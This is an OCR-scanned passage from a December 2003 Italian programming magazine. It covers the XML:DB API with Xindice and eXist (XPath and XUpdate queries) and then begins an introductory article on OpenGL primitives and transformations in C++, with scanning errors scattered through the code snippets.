nativo a CollectionManagement per la creazione di 
collection che permette di specificare alcuni para- 
metri quali la compressione dei dati. eXist imple- 
menta CollectionManagement e xpath. Il servizio 
xupdate è stato promesso per la versione 1.0, mentre 
le transazioni non sono supportate. Alle righe 16-19 
avviene la registrazione dei driver (in questo caso 
soltanto Xindice): 

Database database = 

(Database) Class. forName 

("org. a pache. xindice. client. xmldb. Databaselm pi") 

.newlnstance(); 
DatabaseManager.registerDatabase(database); 




INSTALLAZIONE 
DI XINDICE 

Sul CD allegato 
trovate la versione 1.0 
di Xindice. Volendo, 
potete controllare se 
sono disponibili 
versioni più 
aggiornate 
collegandovi 
all'indirizzo: 
http://xml.apache.org/xindice/ 
Scompattate 
l'archivio dove volete, 
ad esempio sotto C: 
sotto Windows. 
Dichiarate la variabile 
d'ambiente 
XINDICE HOME con il 
valore C:\xml-xindice- 
1.0. Aggiungete al 
PATH il percorso 
"/oXINDICE HOME%\bi 
n ed il gioco e' fatto. 
Per avviare Xindice, 
da Windows eseguite 
C:\xml-xindice- 
1.0\startup.bat 
Per uscire 
dall'applicazione è 
sufficiente chiudere la 
finestra dos in cui è in 
esecuzione Xindice. 



Il primo passo è necessario una sola volta e di solito 
viene eseguito in fase di inizializzazione della appli- 
cazione. La registrazione ha lo scopo di comunicare 
alla libreria XMLDB quali sono i sottoprotocolli 
gestiti, ovvero quali sono i tipi di database server dei 
quali si possiedono i driver. Entriamo nel vivo esa- 
minando la prima sorgente che mostra la connes- 



II primo statement alloca un'istanza del driver che si 
intende registrare, il secondo richiede la registrazio- 
ne alla classe DatabaseManager per mezzo del me- 
todo statico registerDatabase. D'ora in poi la libreria 
è in grado di risolvere gli URI che iniziano per xml- 
db:xindice:ll... La connessione vera e propria avviene 
alla riga 22: 



http://www.ioprogrammo.it 



Dicembre 2003/41 ► 



TEORIA & TECNICA T ■ Database e XML 



iSis: 



JAR 
DI RUNTIME 

Qui di seguito elen- 
chiamo i jar che devo- 
no essere presenti nel 
classpath per connet- 
tersi ai database xml: 

XIST 

eXist-0.9.2/lib/core/ 

exist.jar 

eXist-0.9.2/lib/core/ 
xmldb.jar 

eXist-0.9.2/lib/core/ 
xmlrpc-1.2.jar 

eXist-0.9.2/lib/core/ 
log4j.jar 

eXist-0.9.2/lib/core/ 
xerceslmpl-2.4.0.jar 

eXist-0.9.2/lib/core/ 
xml-apis.jar 

XINDICE 

xml-xindice-1 .0/java/lib/ 

xindice.jar 

xml-xindice-1 .O/java/ 
lib/xmldb.jar 



Collection coli = 
DatabaseManager.getCollection(collectionURI); 

Alle righe 25-28 viene esaminato il contenuto della 
collection: 

String[] resources = coll.listResourcesQ; 
for (int i = 0; i < resources. length; + + i) 
System. out.println(resources[i]); 

Il primo statement richiede un array contenente tut- 
ti gli ID dei documenti contenuti nella collection, il 
secondo è un banale ciclo for che li stampa su Sy- 
stem.out. Infine alla riga 31 la connessione è chiusa: 

coll.close(); 

Il secondo programma d'esempio QCMLDBTestlbis 
.java) è simile eccetto la parte della registrazione dei 
driver. E' stato introdotto il metodo registerDriuers 
che legge l'elenco dei driver dall' array drivers e prov- 
vede a registrarli tutti. La funzione è invocata all'ini- 
zio del programma in modo da completare una 
volta per tutte l'inizializzazione della libreria 
XML.DB. Una nota merita il trylcatch alla riga 25: lo 
scopo è quello di registrare il maggior numero pos- 
sibile di driver, ignorando gli errori dovuti, ad esem- 
pio, alla mancanza nel classpath di un particolare 
driver. In questo modo l'applicazione si adatta dina- 
micamente alla configurazione del classpath nella 
quale è eseguita. 



E CANCELLARE 

UHI DOCUMENTO XML 

Prima di passare ad esaminare l'uso di xpath e xup- 
date completiamo l'esame delle funzionalità messe 
a disposizione da Collection. Il programma XMLDB- 
Test4.java mostra come inserire un documento in 
una collection. 

Per far questo è necessario creare una risorsa di tipo 
XML (riga 63): 

XMLResource r = 
(XMLResource)coll. 
createResource(resourceName,"XMLResource"); 

È ora necessario impostarne il contenuto, passan- 
dole il documento, questo è possibile farlo sia in 
DOM con setContentAsDOM, sia in sax con setCon- 
tentAsSAX: 

r.setContentAsDOM(d); 

Infine inviare i dati al database server completando 
l'aggiornamento: 



coll.storeResource(r); 

Da notare che il metodo createResourceQ non con- 
trolla che la risorsa indicata da resourceName non 
esista. Anzi, qualora la risorsa esista già viene resti- 
tuita. In questo modo si ottiene l'effetto di sostituire 
il documento preesistente sul database con quello 
nuovo. Il programma XMLDBTest5.java mostra in- 
vece come cancellare un documento dalla collec- 
tion. Per prima cosa occorre ottenere la risorsa con 
getResourceO (riga): 

XMLResource r = (XMLResource)coll. 
getResource(resourceName); 

Quindi invocare il metodo removeResource di Collec- 
tion. L'interfaccia Collection mette a disposizione 
metodo getResourceO che permette di recuperare un 
documento conoscendo il suo nome. Questo è il 
meccanismo più rudimentale che la API XML:DB of- 
fre. Un sistema più sofisticato è dato dal servizio 
xpath. 



UNA QUERY SU XML 

Le query xpath permettono di selezionare parti di 
un documento XML. In questo caso è bene pensare 
al documento XML nella sua forma DOM, ovvero 
come ad un albero di nodi, ciascuno corrisponden- 
te ad un tag, o ad un attributo o al testo contenuto in 
un tag. Le query xpath selezionano i nodi di un 
DOM. La query xpath è una sequenza di step valuta- 
ti in cascata, ognuno dei quali seleziona un sottoin- 
sieme dei nodi selezionati dallo step precedente. 
La forma generale è la seguente: 

/selezione[condizione]/.../selezione[condizione] 

gli step sono coppie selezione [condizione]. La sele- 
zione descrive il tipo di nodo che si seleziona, ovve- 
ro un attributo, un tag, del testo, la condizione è 
un'espressione booleana opzionale valutata nodo 
per nodo che permette di raffinare ulteriormente il 
criterio di scelta. Vediamo un po' di esempi per chia- 
rirci le idee: 

• / - è la più breve query xpath possibile e seleziona 
tutto il documento. 

• /persona - seleziona la root del documento pur- 
ché la root sia persona, altrimenti non seleziona 
niente. Mentre: 

• /persona[nome = 'pippo'] - seleziona tutto il 
documento purché nome sia un tag contenuto 
dentro persona e nome contenga il testo 'pippo' 
(senza gli apici). 

• /persona[nome = 'pippo'] /email - seleziona il solo 
tag email figlio di persona purché questo conten- 



»> 42/Dicembre 2003 



http://www.ioprogrammo.it 



Database e XML ■ T TEORIA & TECNICA 



ga un tag nome contenente il testo 'pippo'. 
/persona[nome != 'pippo']/@id - seleziona l'attri- 
buto id di persona, purché il nome non sia 'pippo'. 
/persona[nome != 'pippo'] //indirizzo - Questa 
query seleziona tutti i tag indirizzo contenuti 
sotto persona, siano essi figli o nodi più profondi. 
Quindi // indica la ricerca in tutto il sottoalbero 
del nodo corrente. 



LAVORARE 

COIU QUERY XPATH 

Nel sorgente XMLDBTest2.java è mostrato come 
eseguire query xpath. Per poter usufruire di un ser- 
vizio è necessario richiederlo alla Collection, che 
precedentemente è stata aperta. Alla riga 49 viene 
richiesto il servizio: 




Quella mostrata finora è la cosiddetta sintassi com- 
patta delle query xpath. Esiste una versione estesa 
che è anche più flessibile. Nella versione estesa la 
selezione ha la forma: assev.nome, in cui asse può 
essere: child, parent, ancestor, ancestor-or-self, de- 
scendant-or-self, preceding-sibling, following-si- 
bling, self e descendant. L'asse permette di indicare 
non solo il nome del nodo ma anche la sua posizio- 
ne relativamente al nodo corrente. Nella sintassi 
compatta un "/" singolo corrisponde a child, mentre 
"//"corrisponde a descendant. Le forme compatta ed 
estesa possono essere utilizzate anche contempora- 
neamente nella stessa query. All'interno della condi- 
zione possono essere utilizzate altre query xpath 
(nell'esempio precedente, nome è una query xpath 
che seleziona tutti i tag nome contenuti dentro per- 
sona. Il test di uguaglianza con le stringhe è effettua- 
to dopo la conversione implicita da node-set a testo. 
Questa conversione consiste nel prendere tutto il 
testo contenuto all'interno dei tag eliminando tag e 
attributi: 

< identità >< nome >Pippo</nome> <cognome> 

sconosciuto </cognomex/identita> 

diventa: 

Pipposconosciuto 

Nelle condizioni possono essere usate altre funzioni, 
oltre al test di uguaglianza. XIndice utilizza l'imple- 
mentazione di Xalan per valutare le query, che è 
conforme allo standard 1.0. eXist invece ha una pro- 
pria implementazione che non è ancora completa, 
ma introduce alcune estensioni, quali la possibilità 
di usare le espressioni regolari. Come sempre, le ver- 
satilità peculiari di alcuni progetti sono comode e 
allettanti, ma limitano la portabilità: utilizzando 
alcune delle feature specifiche di eXist, si finisce per 
vincolarsi a questo database pur continuando ad 
utilizzare XML:DB come API di accesso. Ciò che è 
importante notare è che il risultato di una query 
xpath applicata ad un documento XML non è un 
documento XML ma un insieme di documenti, pos- 
sibilmente vuoto, ciascuno parte del documento 
originale. Nel contesto delle collection l'applicazio- 
ne delle query è estesa semplicemente applicando la 
query a tutti i documenti della collection, ed il risul- 
tato è l'unione di tutti i risultati. 



// richiesta del servizio query xpath 
XPathQueryService service = 

(XPathQueryService)coll 

.getService("XPathQueryService"/'l-0"); 

L'oggetto service permette di eseguire query xpath 
sulla collection coli, e solo su essa. La query viene 
eseguita alla riga 52: 

// esecuzione di query xpath 

ResourceSet resultSet = service. query(xpathQuery); 

L'esecuzione della query restituisce un ResourceSet, 
ovvero un insieme di "risorse": una per ogni docu- 
mento prodotto dalla query xpath. L'estrazione dei 
dati avviene richiedendo un iteratore, per mezzo del 
quale si ottengono le Resource. La libreria XML.DB 
non vincola a memorizzare solo e soltanto docu- 
menti XML nelle collection. XIndice, ad esempio, ha 
introdotto gli XObjects che sono un analogo delle 
stored procedure. Queste estensioni però non sono 
standard e di fatto la libreria nella sua versione 
attuale permette solo XML o binario. Per questo è 
necessario il cast da Resource a XMLResource, effet- 
tuato alla riga 61. La XMLResource permette di recu- 
perare il documento sia in DOM che in SAX per 
mezzo dei metodi getContentAsDOMQ e getContent- 
AsSAXO rispettivamente. A differenza delle query 
xpath, le query xupdate sono specificate in XML. Le 
query xupdate sono molto simili a dei programmi, e 
il documento XML elenca le istruzioni che databa- 
se server deve eseguire sui documenti di una collec- 
tion. Le istruzioni utilizzano query xpath per indivi- 
duare le parti su cui operare e permettono di cam- 
biare il contenuto dei documenti, e aggiungere o 
elementi e attributi. Un esempio di query xupdate: 

<xupdate:append select= "/persona [nome= 'pippo']" 

xmlns:xupdate= "http://www.xmldb.org/xupdate" 

name="indirizzo"> 
<citta>Topolinia</citta> 
</xupdate:append> 

La prima cosa che si nota è l'utilizzo del namespace 
"http://www.xmldb.org/xupdate". La dichiarazione è 
obbligatoria, altrimenti il servizio non sarà in grado 
di interpretare l'XML. L'esempio mostra l'istruzione 
append, che aggiunge l'xml contenuto in essa (ovve- 
ro il tag citta) dentro il nodo selezionato dalla query 



Attualmente eXist uti- 
lizza una classe di 
XIndice versione 1.1, e 
questo crea un conflit- 
to che non permette di 
avere nello stesso clas- 
spath i jar di entrambi 
i database. Quindi 
anche se e' possibile 
scrivere un'applicazio- 
ne in grado di funzio- 
nare con entrambi, 
potrà comunque esse- 
re eseguita soltanto 
utilizzando un tipo di 
database alla volta. 
Per compilare quindi e' 
sufficiente avere nel 
classpath soltanto il jar 
xmldb.jar. Per eseguire 
invece al classpath 
dovranno essere 
aggiunti gli altri jar del 
tipo di database scelto. 



http://www.ioprogrammo.it 



Dicembre 2003/43 ► 



TEORIA & TECNICA T ■ Database e XML 



'III 




SUL WEB 



Progetto XML:DB 

http://www.xmldb.org/ 

Libreria XML:DB 

http://www.xmldb.org/ 
xapi/index.html 

Javadoc 

http://www.xmldb.org/xapi 
/api/index.html) 

Progetto XUpdate 

http://www.xmldb.org/ 
xu pdate/i ndex. htm I 

Working draft 

http://www.xmldb.org/ 
xupdate/xupdate-wd.html 

Specifiche XPath 

http://www.w3.org/TR/xpath 

Consorzio W3C 

http://www.w3.org 



indicata nell'attributo select (e cioè il documento 
persona il cui nome è 'pippo'). La query mostrata 
applicata al documento 

< persona ><nome>pippo</pippox/persona> 
produce: 

< persona ><nome>pippo</pippoxcitta>Topolinia 

</cittax/persona> 

Presumibilmente la query mostrata opererà su un 
solo documento (ipotizzando che il tag nome sia 
univoco nella collectiori], ma questo non è affatto un 
requisito: l'operazione di append sarà eseguita su 
tutti i nodi selezionati dalla query. E' possibile che le 
query selezionino più nodi all'interno dello stesso 
documento, in questo caso l'istruzione sarà eseguita 
più volte sullo stesso documento. Le altre istruzioni 
disponibili sono: insert-before, insert-after, update, 
remove e modifications. Le prime due sono simili 
alla append in quanto permettono di aggiungere 
nodi al documento. Si differenziano da questa per- 
ché append aggiunge nodi dentro il nodo seleziona- 
to, mentre insert-before li inserisce immediatamente 
prima, e insert-after li inserisce immediatamente 
dopo. 

L'istruzione update permette di modificare il conte- 
nuto di un tag o di un attributo. Esempio: 

<xupdate: update select="/persona[nome= 'pippo'] 

/citta" xmlns:xupdate= "http://www.xmldb.org/ 
xupdate" name="indirizzo"> 
Paperopoli 
</xupdate: update > 

cambia: 

< persona ><nome>pippo</pippoxcitta>Topolinia 

</cittax/persona> 



m: 



< persona xnome>pippo</pippoxcitta> Paperopoli 

</cittax/persona> 

L'istruzione remove ha anch'essa l'attributo select e 
cancella tutti i nodi selezionati. L'istruzione modi- 
fications permette di raggruppare altre istruzioni. 
Oltre a queste istruzioni sono disponibili le funzio- 
ni di creazione di XML: element, attribute, text, pro- 
cessing-instruction e comment. Queste istruzioni 
creano rispettivamente tag, attributi, testo (conte- 
nuto in un tag), processing instruction e commenti. 
Le istruzioni di creazione possono essere usate 
all'interno delle istruzioni insert-before, insert- 
after, append e update. 
Esempio: 



<xupdate: element name="indirizzo"> 

<citta>Topolinia</citta> 
</xupdate:element> 

produce l'XML: 

<indirizzo> 

<citta>Topolinia</citta> 
</indirizzo> 

La differenza fra utilizzare l'istruzione element inve- 
ce di specificare direttamente il tag (come è stato 
fatto nel primo esempio di query xupdate) sta nel 
fatto che con element il nome del tag è specificato a 
tempo di esecuzione della query ed è il risultato di 
una query xpath, permettendo quindi maggiore 
flessibilità. 



IL FUTURO 

Il working draft del progetto xupdate è ancora 
incompleto. Specifica altre tre istruzioni: variable, if 
e value-of ma la loro descrizione è parziale, e 
XIndice non le supporta a pieno, per ora, perciò ne 
ometteremo la spiegazione. Il programma XMLDB- 
Test6.java mostra come esegure una query xupdate. 
Richiede due argomenti: l'uri della collection, e 
path del file XML contenente la query da eseguire. Il 
codice è simile a quello di XMLDBTest2, ovvero viene 
richiesto il servizio (riga 57): 

XUpdateQueryService service = 
(XUpdateQueryService)coll. 
getService("XUpdateQueryService","1.0"); 

e invocato il metodo update che richiede un oggetto 
String contenente l'XML della query: 

service.update(query); 

Purtroppo l'implementazione di xupdate non è così 
affidabile e completa come quella xpath. Innanzi- 
tutto eXist ancora non supporta questo servizio. 
XIndice invece, lo supporta ma la versione LO richie- 
de JDK 1.3.1. Inoltre non tutte le specifiche del 
working draft sono implementate. Tra queste forse 
la più importante è modifications che permette di 
specificare più operazioni contemporaneamente 
permettendo di ottimizzare le comunicazioni con 
database server. Il lavoro di sviluppo del team della 
XML:DB Initiative e del team di XIndice procede di 
pari passo ed è auspicabile che per quando uscirà la 
versione 1.1 non solo documento di specifica di 
XUpdate passi dallo stato di working draft a quello di 
recommendation, ma anche che XIndice offra un 

supporto più completo. 

Simone Pierazzini 



*> 44/ Dicembre 2003 



http://www.ioprogrammo.it 



Algoritmi per la grafica ■ T TEORIA & TECNICA 



Le basi per la programmazione OpenGL 



Creare effetti speciali 
3D con C++ e OpenGL 

Con uno strumento senza limiti come C++ insieme alla potenza e alla 

semplicità di OpenGL la nostra creatività non ha più barriere! 

In questo primo articolo affrontiamo le basi della programmazione. 



Programmare è un'arte. Come disegnare, di- 
pingere, scolpire. Cambiano gli strumenti, le 
modalità, ma non il fine: esprimere la nostra 
creatività. Un artista creativo è colui che riesce a 
rompere gli schemi, ad usare lo strumento a sua 
disposizione per andare oltre, per creare qualcosa 
che esprima a pieno la sua fantasia. In questo arti- 
colo vedremo quali sono i requisiti teorici necessari 
per creare applicazioni 3D e realizzeremo un fra- 
mework completo e riutilizzabile che ci permetterà 
di sviluppare qualsiasi programma in modo sempli- 
ce ed efficiente. Per dimostrarlo, utilizzeremo noi 
stessi il framework per creare la nostra prima demo 
tridimensionale animata con effetti di texture map- 
ping, blending, luci, nebbia, smooth shading e musi- 
ca; per avere un'idea potete dare uno sguardo alla 
Fig. 1 e al programma d'esempio disponibili sul CD 
allegato alla rivista e sul web. 



COS'È OPENGL? 

OpenGL è uno standard sviluppato da Silicon Gra- 
phics per ideare grafica tridimensionale di qualità 
professionale. Vi sarete probabilmente chiesti quan- 
ta complessità richieda la ricreazione di ambienti 
tridimensionali così ricchi di effetti speciali e di det- 
tagli realistici. . . in realtà scopriremo che utilizzare 
OpenGL non è difficile, perché gran parte dei detta- 
gli è "nascosta" da un'interfaccia davvero elegante. 



SINTASSI 
DEI COMANDI 

Ecco un esempio di comando OpenGL: 

glColor3f (O.Of, O.Of, O.Of); 

Con questo comando impostiamo il colore cor- 
rente a nero (intensità nulla per tutte e tre le sue 



componenti). Ogni comando OpenGL è compo- 
sto da un prefisso gì seguito da lettere maiuscole 
per ogni parola che compone il suo nome e da un 
suffisso che indica il numero ed il tipo dei para- 
metri (Fig. 2) . 

Nel nostro esempio la funzione glColor3f accetta 
infatti tre parametri di tipo float (ecco perché uti- 
lizziamo la lettera / nelle costanti, che altrimenti 
sarebbero interpretate dal compilatore come dou- 
blé}. L'elenco dei suffissi è mostrato in Fig. 3. Ad 
ogni comando non è associata necessariamente 
una sola funzione: esistono decine di varianti per 
glColor che accettano float, doublé e interi, in tre o 




Q CD G WEB 

OpenGL Cotle.zip 



5y ==r 




Fig. 1: La demo tridimensionale animata che accompagna il nostro articolo. 



glColor3f (...); 



^w 



prefisso comando f tipo di parametri 
numero di parametri 



Fig. 2: Sintassi di un comando OpenGL. 



http://www.ioprogrammo.it 



Dicembre 2003/45 ► 



TEORIA & TECNICA T ■ Algoritmi per la grafica 




AMBIENTE 
DI SVILUPPO 

Per compilare il codice 
che accompagna l'arti- 
colo è sufficiente un 
qualsiasi compilatore 
C++. Sul CD troverete 
un progetto realizzato 
con Visual C++ 6.0 ed 
uno con l'ambiente 
gratuito DevC++. Nel 
primo caso sono stati 
utilizzati i files di una 
recente Platform SDK 
scaricabile dal sito: 
http://www.microsoft.c 
om/msdownload/platfo 
rmsdk/sdkupdate/ 
Nel secondo, sono suf- 
ficienti i files che 
accompagnano il pac- 
chetto d'installazione 
di DevC++. 



quattro parametri o ancora in forma di array 
(creando un array e passando alla funzione l'indi- 
rizzo del primo elemento) . 

Per motivi di portabilità, OpenGL definisce i pro- 
pri tipi di dati primitivi, il cui corrispondente 
effettivo in linguaggio C può variare a seconda del 
compilatore e dell'ambiente che utilizziamo. 
Utilizzare i tipi primitivi di OpenGL aiuta ad eli- 
minare problemi di compatibilità nel realizzare 
una versione del nostro programma per un com- 
pilatore o sistema operativo diverso. L'esempio 



Suffisso 


Tipo di dati 


Corrispondente in C* 


in OpenGL 


b 


8 bit integer 


char 


GLbyte 


s 


16 bit nteger 


short 


GLshort 


i 


32 bit integer 


int 


GLint 


f 


32 bit rloating point 


float 


GLfloat 


d 


64 bit rloating point 


doublé 


GLdoubie 


ub 


8 bit unsigned integer 


unsigned char 


GLubyte 


US 


16 bit unsigned integer 


unsigned short 


GLushort 


Ul 


32 bit unsigned integer 


unsigned int 


GLuint 


* Tìpico. Dipende dal compilatore 







Fig. 3: Suffissi e tipi di dati primitivi. 



precedente ci introduce ad un nuovo concetto: 
quello di variabile di stato. Il colore è una variabi- 
le di stato. Quando assegniamo un valore ad una 
variabile di stato, questo valore rimane attivo fin- 
ché non decideremo di modificarlo. Nel nostro 
esempio, tutto ciò che disegneremo sullo scher- 
mo apparirà nero fino a quando non chiameremo 
nuovamente glColor con un parametro diverso. 
OpenGL è caratterizzato da un insieme molto 
numeroso di variabili di stato, attivabili e disatti- 
vabili (solitamente con i comandi glEnable e 
glDisable) a seconda dell'effetto che intendiamo 
applicare. 



PRIMITIVE IH! OPENGL 

L'esperienza nel realizzare software ci ha insegna- 
to a scomporre i "problemi" in piccole parti, così 
che sia più semplice risolverli implementando 
delle strutture dati e degli algoritmi adeguati. In 
OpenGL la logica non cambia: anche la più com- 
plessa scena 3D del nostro videogioco preferito è 
composta di diversi oggetti più semplici. L'oggetto 
più semplice è un "punto", che in OpenGL prende 
il nome di vertice. Più vertici formano insieme dei 
poligoni, più poligoni formano oggetti tridimen- 
sionali, più oggetti danno vita ad una scena com- 
pleta. Per specificare un vertice utilizziamo il 
comando glVertex, di cui esistono numerose 
varianti: 

glVertex3f (100. Of, 65. Of, O.Of); 

Come deduciamo facilmente dal nome, la funzio- 
ne glVertex3f accetta tre parametri di tipo float: 





S (100,65,0) 


1 





Fig. 4: Il punto (ÌOO.O, 65.0, O.O) specificato dal 
comando glVertex. 



rappresentano le coordinate del punto nello spa- 
zio 3D, come appare in Fig. 4. Tutte le chiamate a 
glVertex appaiono sempre in blocchi con a capo 
glBegin e al termine glEnd: 

gIBegin (GL_POINTS); 

glVertex3f (100. Of, 65. Of, O.Of); 

glEnd(); 

Infatti, specificare soltanto un insieme di vertici 
non avrebbe gran senso, perché OpenGL non 
saprebbe come interpretarli; con glBegin stabilia- 
mo la primitiva che desideriamo disegnare e i ver- 
tici che indicheremo seguiranno le "regole" neces- 
sarie per disegnare la primitiva scelta. Le primitive 
a disposizione sono dieci: 

GL_POINTS - Disegna un punto per ogni vertice 
indicato 

GL_LINES - Disegna una linea per ogni coppia di 
vertici indicata 

GL_LINE_STRIP - Disegna una serie di linee inter- 
connesse tra tutti i vertici indicati nell'ordine 
GL_LINE_LOOP - Come GL_LINE_STRIP; in più 
collega l'ultimo vertice al primo 
GL_TRIANGLES - Disegna un triangolo ogni tre 
vertici indicati 

GL_TRIANGLE_STRIP - Disegna una serie di 
triangoli come in Fig. 5 

GL_TRIANGLE_FAN - Disegna una serie di trian- 
goli come in Fig. 6 

GL_QUADS - Disegna un quadrilatero ogni quattro 
vertici indicati 

GL_QUAD_STRIP - Disegna una serie di quadrila- 
teri come in Fig. 7 
GL_POLYGON - Disegna un poligono 




Fig. 5: Ordine di visualizzazione per 
GL_ TRIANGLE_STRIP. 



* 46/Dicembre 2003 



http://www.ioprogrammo.it 



Algoritmi per la grafica ■ ▼ TEORIA & TECNICA 



ESEMPIO: DISEGNARE 
UNA STELLA 

Ci proponiamo adesso di disegnare una stella come 
quella in Fig. 8, utilizzando le primitive OpenGL che 
abbiamo appena mostrato. 

Ci occupiamo prima della parte esterna come in Fig. 
9, cui codice è riportato qui sotto: 

void DrawStar (GLfloat fMax, GLfloat fMin, GLfloat z) 
{ // parte esterna 

int nFlag = 0; 

bool bFirstTime = false; 

glBegin(GL_TRIANGLES); 

for (GLfloat angle = 2.0f*GL_PI; angle > O.Of; 

angle -= GL_PI/10.0f) 

{ if (nFlag % 2 != 1) 

{ glVertex3f(fMin*sin(angle), fMin*cos(angle), z); 

if (bFirstTime) 

glVertex3f(fMin*sin(angle), fMin*cos(angle), z); 

bFirstTime = true; } 

else 

{ glVertex3f(fMax*sin(angle), fMax*cos(angle), z);} 
nFlag + + ; } 

glEndQ; 

// ... [parte interna - vedi esempio successivo] ... } 



Come possiamo vedere, disegniamo una serie di 
triangoli che "ruotano" attorno all'origine in senso 
antiorario. Il verso in cui disponiamo i vertici è rile- 
vante: vertici in senso antiorario rappresentano la 
faccia principale di un poligono, vertici in senso ora- 



v . v 5 y, 

"• "■ v »./ \ \/ \, 

A A7 A7 A7 



Fig. 6: Ordine di visualizzazione per 
GL_TRIANGLE_FAN. 



rio la faccia nascosta. Le due facce di un poligono 
possono avere proprietà diverse, per esempio riflet- 
tere la luce in maniera differente. Inoltre, con un 
trucchetto possiamo migliorare le prestazioni del 
nostro programma "scartando" le facce posteriori 
dei poligoni durante l'aggiornamento della scena, se 
sappiamo che queste non vengono mai visualizzate. 
Ecco come: 



v. 




v 3 




v, 


v 3 












v„ 




v, 


v, 




Fig. 7: Ordine di visualizzazione per GL_QUAD_STRIP. 



Fig. 8: Proviamo a creare l'algoritmo per disegnare 
una stella. 



glEnable(GL_CULL_FACE); 

Questa tecnica è detta polygon cutting, e in OpenGL 
è un altro esempio di variabile di stato. 
Adesso disegniamo la parte interna della stella: 

void StarsDL:: DrawStar (GLfloat fMax, GLfloat fMin, 

GLfloat z) 

{ // .... [ parte esterna - vedi esempio precedente] .... 
// parte interna 

glBegin(GL_TRIANGLE_FAN); 

glVertex3f(0.0f, O.Of, z); 

for (angle = 2.0f*GL_PI; angle > O.Of; angle 

-= GL_PI/5.0f) 

glVertex3f(fMin*sin(angle), fMin*cos(angle), z); 
glEnd(); } 



Questa volta utilizziamo un triangle fan. Abbiamo 
scelto GL_TRIANGLE_FAN al posto di GL_POLY- 
GON, non a caso: quando scomponiamo una figura 
complessa nelle sue primitive, la nostra scelta deve 
essere un triangolo, quando possibile. Avete mai 
notato che i test per le schede grafiche utilizzano il 
numero di triangoli al secondo come unità di misu- 
ra? Questo perché sono ideate, testate ed ottimizza- 
te per disegnare questa primitiva. Qual è l'unità di 
misura in OpenGL? I valori che specifichiamo in 
glVertex sono in cm, in metri, in km? La risposta è: 
dipende da noi. L'importante è che rimanga consi- 
stente in tutta la scena. 



VISUALIZZAZIONE 
DI OGGETTI 
SULLO SCHERMO 

Qual è la corrispondenza tra gli oggetti che posizio- 
niamo nel nostro spazio 3D ideale e i pixel su uno 
schermo 2D? Prima che possano essere visualizzati 
sul nostro monitor, tutti gli oggetti subiscono una 
serie di trasformazioni: 

trasformazioni di modellazione, che includo- 
no: rotazione, traslazione, scaling, proiezione 





SUL WEB 



Il principale sito di rife- 
rimento per OpenGL è, 
naturalmente, quello 
ufficiale: 
www.openql.org . 
E' curato da SGI e rap- 
presenta una risorsa 
inesauribile cui un 
appassionato program- 
matore può attingere 
liberamente. xAltri due 
siti molto utili sono: 
www.gamedev.net e 
www.gametutorials.com. 
Ospitano diverse guide 
ed articoli a vari livelli, 
utili per chi inizia ed 
anche per chi ha già 
una conoscenza 
approfondita di 
OpenGL. 



http://www.ioprogrammo.it 



Dicembre 2003/47 ► 



TEORIA & TECNICA T ■ Algoritmi per la grafica 



MHf 

C++ 




SUL WEB 



Internet è ricco di 

risorse multimediali 

che possiamo utilizzare 

nelle nostre 

applicazioni OpenGL, 

da modelli 3D Studio di 

elevata qualità a 

musiche 

d'accompagnamento. 

Il modello scelto per la 

nostra applicazione, 

disponibile 

gratuitamente sul sito: 

www.amazinq3d, corri . 

Rappresenta un 

elicottero semplice ma 

di buona qualità, 

costituito da circa 

cinquemila facce. Altri 

modelli più complessi 

sono disponibili previo 

pagamento. 

Per la musica di 

sottofondo abbiamo 

scelto una tra le 

composizioni presenti 

sul sito: 

http://www,fortunecity,com 

/tinpan/dreadlock/381/ 

qammal/indexenq. ritmi 



ortografica o prospettica {modelview transforma- 
tiorì); 

proiezione e clipping, i processi per cui oggetti o 
parti di essi vengono scartati perché fuori dal nostro 
volume visivo {projection transformation); 
conversione finale delle coordinate in pixels se- 
condo le dimensioni di una finestra {viewport tran- 
sformation). 

Ciascuna di queste trasformazioni è rappresentata, 
per semplicità, da un'operazione con le matrici: una 
moltiplicazione di una matrice M (4x4) che descrive 
il tipo di trasformazione per una matrice contenen- 
te ogni vertice v della scena: v' - Mv. Una conoscen- 
za approfondita di algebra e di trigonometria non è 
indispensabile, poiché le operazioni necessarie ven- 
gono eseguite automaticamente dai comandi 
OpenGL, ma è utile per avere una padronanza com- 
pleta sulla loro esecuzione. Per ruotare la stella che 
abbiamo disegnato in Fig. 8, scriviamo: 

gIMatrixMode (GL_MODELVIEW); 

glLoadIdentity(); 

gIRotatef (fAngle, O.Of, O.Of, l.Of); 

Con il comando gIMatrixMode stabiliamo che tutte 
le operazioni sulle matrici interessino la matrice di 
modelview; glLoadldentity inizializza la matrice e 
gIRotatef ruota la stella di fAngle gradi rispetto all'as- 
se z. In generale, gIRotatef moltiplica la matrice cor- 
rente per la matrice che ruota l'oggetto in senso 
antiorario rispetto al vettore individuato dall'origine 
degli assi e il punto x, y, z. Il risultato di questa mol- 
tiplicazione diventa la matrice corrente (ricordiamo 
il concetto di stati), ciò significa che possiamo rea- 
lizzare trasformazioni complesse combinando tra- 
sformazioni in sequenza. glTranslate effettua una 
trasformazione di translazione: 

gITranslatef (x, y, z); 

in cui x, y e z rappresentano il vettore di traslazione. 
Dobbiamo ora decidere quale sarà il nostro volume 
visivo, cioè scegliere come gli oggetti verranno 
proiettati sullo schermo: in proiezione prospettica o 
ortografica. La prima sarà utile nel caso di una simu- 
lazione di una scena reale, perché agli oggetti sarà 
applicata una trasformazione che farà loro assume- 
re dimensioni inferiori via via che si allontaneranno 
dal nostro punto di vista. Nel secondo caso ciò non 
avviene, dando vita ad immagini in cui le dimensio- 
ni degli oggetti si conservano invariate con la distan- 
za, ed è quindi più utile in un programma di CAD. 
Per prima cosa, selezioniamo la matrice di proiezio- 
ne come attiva: 

gIMatrixMode (GL_PROJECTION); 

glLoadldentity (); 



Tutte le modifiche che effettueremo saranno così 
applicate a questa matrice. Per attivare una proie- 
zione prospettica, utilizziamo il comando glFru- 
stum; il volume visivo è rappresentato da un tronco 
di piramide individuato dall'intersezione dei sei pia- 
ni in Fig. 9: 



osservatore m^L^T^ 




volume visivo 







Fig. 9: Nella proiezione prospettica il volume visivo è 
un tronco di piramide. 

Nella proiezione ortografica, il volume visivo è un 
parallelepipedo; essa si ottiene col comando 
glOrtho. Infine, creiamo una viewport. Una viewport 
è l'area della nostra finestra in cui verrà mostrata la 
scena tridimensionale che abbiamo realizzato con 
le trasformazioni precedenti: è come scegliere le 
dimensioni di una fotografìa. 



void 



glViewport(GLint x, GLint y, GLsizei width, 

GLsizei height); 



x e y rappresentano la posizione del punto in alto a 
sinistra sulla finestra, width e height la lunghezza e 
l'altezza. Nel nostro programma assegneremo ad x e 
y valore zero e a width e height la dimensione della 
